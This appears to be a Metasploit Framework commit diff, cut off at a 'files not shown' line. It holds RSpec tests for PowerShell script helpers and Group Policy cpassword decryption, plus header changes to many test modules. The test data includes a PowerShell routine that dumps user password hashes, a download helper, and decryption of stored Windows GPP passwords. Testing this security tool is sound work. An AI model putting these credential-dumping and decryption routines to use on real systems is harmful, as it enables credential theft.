literals[0].include?('parp').should be_false
end
end
describe "::scan_with_index" do
it 'should scan code and return the items with an index' do
scan = subject.scan_with_index('DllImport')
scan.should be
scan.should be_kind_of Array
scan.length.should be > 0
scan[0].should be_kind_of Array
scan[0][0].should be_kind_of String
scan[0][1].should be_kind_of Integer
end
end
describe "::match_start" do
it 'should match the correct brackets' do
subject.match_start('{').should eq '}'
subject.match_start('(').should eq ')'
subject.match_start('[').should eq ']'
subject.match_start('<').should eq '>'
expect { subject.match_start('p') }.to raise_exception(ArgumentError)
end
end
describe "::block_extract" do
it 'should extract a block between brackets given an index' do
idx = subject.code.index('{')
block = subject.block_extract(idx)
block.should be
block.should be_kind_of String
end
it 'should raise a runtime error if given an invalid index' do
expect { subject.block_extract(nil) }.to raise_error(ArgumentError)
expect { subject.block_extract(-1) }.to raise_error(ArgumentError)
expect { subject.block_extract(subject.code.length) }.to raise_error(ArgumentError)
expect { subject.block_extract(59) }.to raise_error(ArgumentError)
end
end
describe "::get_func" do
it 'should extract a function from the code' do
function = subject.get_func('Find-4624Logons')
function.should be
function.should be_kind_of Rex::Exploitation::Powershell::Function
end
it 'should return nil if function doesnt exist' do
function = subject.get_func(Rex::Text.rand_text_alpha(5))
function.should be_nil
end
it 'should delete the function if delete is true' do
function = subject.get_func('Find-4624Logons', true)
subject.code.include?('DllImport').should be_false
end
end
end

View File

@ -0,0 +1,44 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
describe Rex::Exploitation::Powershell::PshMethods do
describe "::download" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.download('a','b')
script.should be
script.include?('WebClient').should be_true
end
end
describe "::uninstall" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.uninstall('a')
script.should be
script.include?('Win32_Product').should be_true
end
end
describe "::secure_string" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.secure_string('a')
script.should be
script.include?('AsPlainText').should be_true
end
end
describe "::who_locked_file" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a')
script.should be
script.include?('Get-Process').should be_true
end
end
describe "::get_last_login" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a')
script.should be
script.include?('Get-QADComputer').should be_true
end
end
end

View File

@ -0,0 +1,48 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
describe Rex::Exploitation::Powershell::Output do
let(:example_script) do
Rex::Text.rand_text_alpha(400)
end
let(:subject) do
Rex::Exploitation::Powershell::Script.new(example_script)
end
describe "::initialize" do
it 'should create a new script object' do
subject.should be
subject.should be_kind_of Rex::Exploitation::Powershell::Script
subject.rig.should be
subject.rig.should be_kind_of Rex::RandomIdentifierGenerator
subject.code.should be
subject.code.should be_kind_of String
subject.code.empty?.should be_false
subject.functions.empty?.should be_true
end
end
describe "::to_byte_array" do
it 'should generate a powershell byte array' do
byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp")
byte_array.should be
byte_array.should be_kind_of String
byte_array.include?('[Byte[]] $').should be_true
end
end
describe "::code_modifiers" do
it 'should return an array of modifier methods' do
mods = Rex::Exploitation::Powershell::Script.code_modifiers
mods.should be
mods.should be_kind_of Array
mods.empty?.should be_false
end
end
end

View File

@ -0,0 +1,47 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
describe Rex::Exploitation::Powershell do
let(:example_script) do
"""function DumpHashes
{
LoadApi
$bootkey = Get-BootKey;
$hbootKey = Get-HBootKey $bootkey;
Get-UserKeys | %{
$hashes = Get-UserHashes $_ $hBootKey;
\"{0}:{1}:{2}:{3}:::\" -f ($_.UserName,$_.Rid,
[BitConverter]::ToString($hashes[0]).Replace(\"-\",\"\").ToLower(),
[BitConverter]::ToString($hashes[1]).Replace(\"-\",\"\").ToLower());
}
}
DumpHashes"""
end
describe "::read_script" do
it 'should create a script from a string input' do
script = described_class.read_script(example_script)
script.should be_a_kind_of Rex::Exploitation::Powershell::Script
end
end
describe "::process_subs" do
it 'should create an array of substitutions to process' do
subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;")
subs.should eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']]
end
end
describe "::make_subs" do
it 'should substitute values in script' do
script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']])
script.include?('BitConverter').should be_false
script.include?('ParpConverter').should be_true
end
end
end

View File

@ -1,3 +1,4 @@
# encoding: binary
require 'rex/parser/group_policy_preferences'
xml_group = '
@ -76,75 +77,89 @@ xml_ms = '
</Groups>
'
# Win2k8 appears to append some junk padding in some cases
cpassword_win2k8 = []
# Win2k8R2 - EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wEMON8tIIslS6707RU1F7Bh
cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wEMON8tIIslS6707RU1F7BhTµkp', 'N3v3rGunnaG!veYo']
cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wGSwOI7Be//GJdxd5YYXUQHTµkp', 'N3v3rGunnaG!veYou']
# Win2k8R2 - EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuKnwF0WS
cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuKnwF0WS»YÂVAA', 'N3v3rGunnaG!veYouUp']
cpassword_normal = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
cpassword_bad = "blah"
describe Rex::Parser::GPP do
GPP = Rex::Parser::GPP
##
# Decrypt
##
it "Decrypt returns Local*P4ssword! for normal cpassword" do
result = GPP.decrypt(cpassword_normal)
result.should eq("Local*P4ssword!")
end
GPP = Rex::Parser::GPP
##
# Decrypt
##
it "Decrypt returns Local*P4ssword! for normal cpassword" do
result = GPP.decrypt(cpassword_normal)
result.should eq("Local*P4ssword!")
end
it "Decrypt returns blank for bad cpassword" do
result = GPP.decrypt(cpassword_bad)
result.should eq("")
end
it "Decrypt returns blank for nil cpassword" do
result = GPP.decrypt(nil)
result.should eq("")
end
it "Decrypt returns blank for bad cpassword" do
result = GPP.decrypt(cpassword_bad)
result.should eq("")
end
it "Decrypt returns blank for nil cpassword" do
result = GPP.decrypt(nil)
result.should eq("")
end
##
# Parse
##
it 'Decrypts a cpassword containing junk padding' do
cpassword_win2k8.each do |encrypted, expected|
result = GPP.decrypt(encrypted)
result.should eq(expected)
end
end
it "Parse returns empty [] for nil" do
GPP.parse(nil).should be_empty
end
##
# Parse
##
it "Parse returns results for xml_ms and password is empty" do
results = GPP.parse(xml_ms)
results.should_not be_empty
results[0][:PASS].should be_empty
end
it "Parse returns empty [] for nil" do
GPP.parse(nil).should be_empty
end
it "Parse returns results for xml_datasrc, and attributes, and password is test1" do
results = GPP.parse(xml_datasrc)
results.should_not be_empty
results[0].include?(:ATTRIBUTES).should be_true
results[0][:ATTRIBUTES].should_not be_empty
results[0][:PASS].should eq("test")
end
it "Parse returns results for xml_ms and password is empty" do
results = GPP.parse(xml_ms)
results.should_not be_empty
results[0][:PASS].should be_empty
end
xmls = []
xmls << xml_group
xmls << xml_drive
xmls << xml_schd
xmls << xml_serv
xmls << xml_datasrc
it "Parse returns results for xml_datasrc, and attributes, and password is test1" do
results = GPP.parse(xml_datasrc)
results.should_not be_empty
results[0].include?(:ATTRIBUTES).should be_true
results[0][:ATTRIBUTES].should_not be_empty
results[0][:PASS].should eq("test")
end
it "Parse returns results for all good xmls and passwords" do
xmls.each do |xml|
results = GPP.parse(xml)
results.should_not be_empty
results[0][:PASS].should_not be_empty
end
end
xmls = []
xmls << xml_group
xmls << xml_drive
xmls << xml_schd
xmls << xml_serv
xmls << xml_datasrc
##
# Create_Tables
##
it "Create_tables returns tables for all good xmls" do
xmls.each do |xml|
results = GPP.parse(xml)
tables = GPP.create_tables(results, "test")
tables.should_not be_empty
end
end
it "Parse returns results for all good xmls and passwords" do
xmls.each do |xml|
results = GPP.parse(xml)
results.should_not be_empty
results[0][:PASS].should_not be_empty
end
end
##
# Create_Tables
##
it "Create_tables returns tables for all good xmls" do
xmls.each do |xml|
results = GPP.parse(xml)
tables = GPP.create_tables(results, "test")
tables.should_not be_empty
end
end
end

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Simple Network Capture Tester',
'Version' => '$Revision$',
'Description' => 'This module sniffs HTTP GET requests from the network',
'Author' => 'hdm',
'License' => MSF_LICENSE,

View File

@ -1,8 +1,6 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Simple Ethernet Frame Spoofer',
'Version' => '$Revision$',
'Description' => 'This module sends spoofed ethernet frames',
'Author' => 'hdm',
'License' => MSF_LICENSE,

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
@ -18,7 +12,6 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'FTP Client Exploit Mixin DATA test Exploit',
'Version' => '$Revision$',
'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.',
'Author' => [ 'Thomas Ring', 'jduck' ],
'License' => MSF_LICENSE

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Simple IP Spoofing Tester',
'Version' => '$Revision$',
'Description' => 'Simple IP Spoofing Tester',
'Author' => 'hdm',
'License' => MSF_LICENSE

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Simple Recon Module Tester',
'Version' => '$Revision$',
'Description' => 'Simple Recon Module Tester',
'Author' => 'hdm',
'License' => MSF_LICENSE,

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Simple Recon Module Tester',
'Version' => '$Revision$',
'Description' => 'Simple Recon Module Tester',
'Author' => 'hdm',
'License' => MSF_LICENSE

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Simple Recon Module Tester',
'Version' => '$Revision$',
'Description' => 'Simple Recon Module Tester',
'Author' => 'hdm',
'License' => MSF_LICENSE

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Simple Recon Module Tester',
'Version' => '$Revision$',
'Description' => 'Simple Recon Module Tester',
'Author' => 'hdm',
'License' => MSF_LICENSE

View File

@ -1,8 +1,6 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
@ -23,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Remote
"This module tests the exploitation of a test service.",
'Author' => 'skape',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Arch' => 'x86',
'Payload' =>
{

View File

@ -1,8 +1,6 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
@ -26,7 +20,6 @@ class Metasploit3 < Msf::Exploit::Remote
on an Apache Tomcat server.
},
'Author' => 'bannedit',
'Version' => '$Revision$',
'References' =>
[
],

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
@ -23,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Remote
This exploit connects to a system's modem over dialup and provides
the user with a readout of the login banner.
},
'Version' => '$Revision$',
'Author' =>
[
'I)ruid',

View File

@ -1,12 +1,6 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
@ -24,7 +18,6 @@ class Metasploit3 < Msf::Exploit::Remote
"This module tests the exploitation of a test service using the Egghunter.",
'Author' => 'jduck',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Arch' => ARCH_X86,
'Payload' =>
{

Some files were not shown because too many files have changed in this diff Show More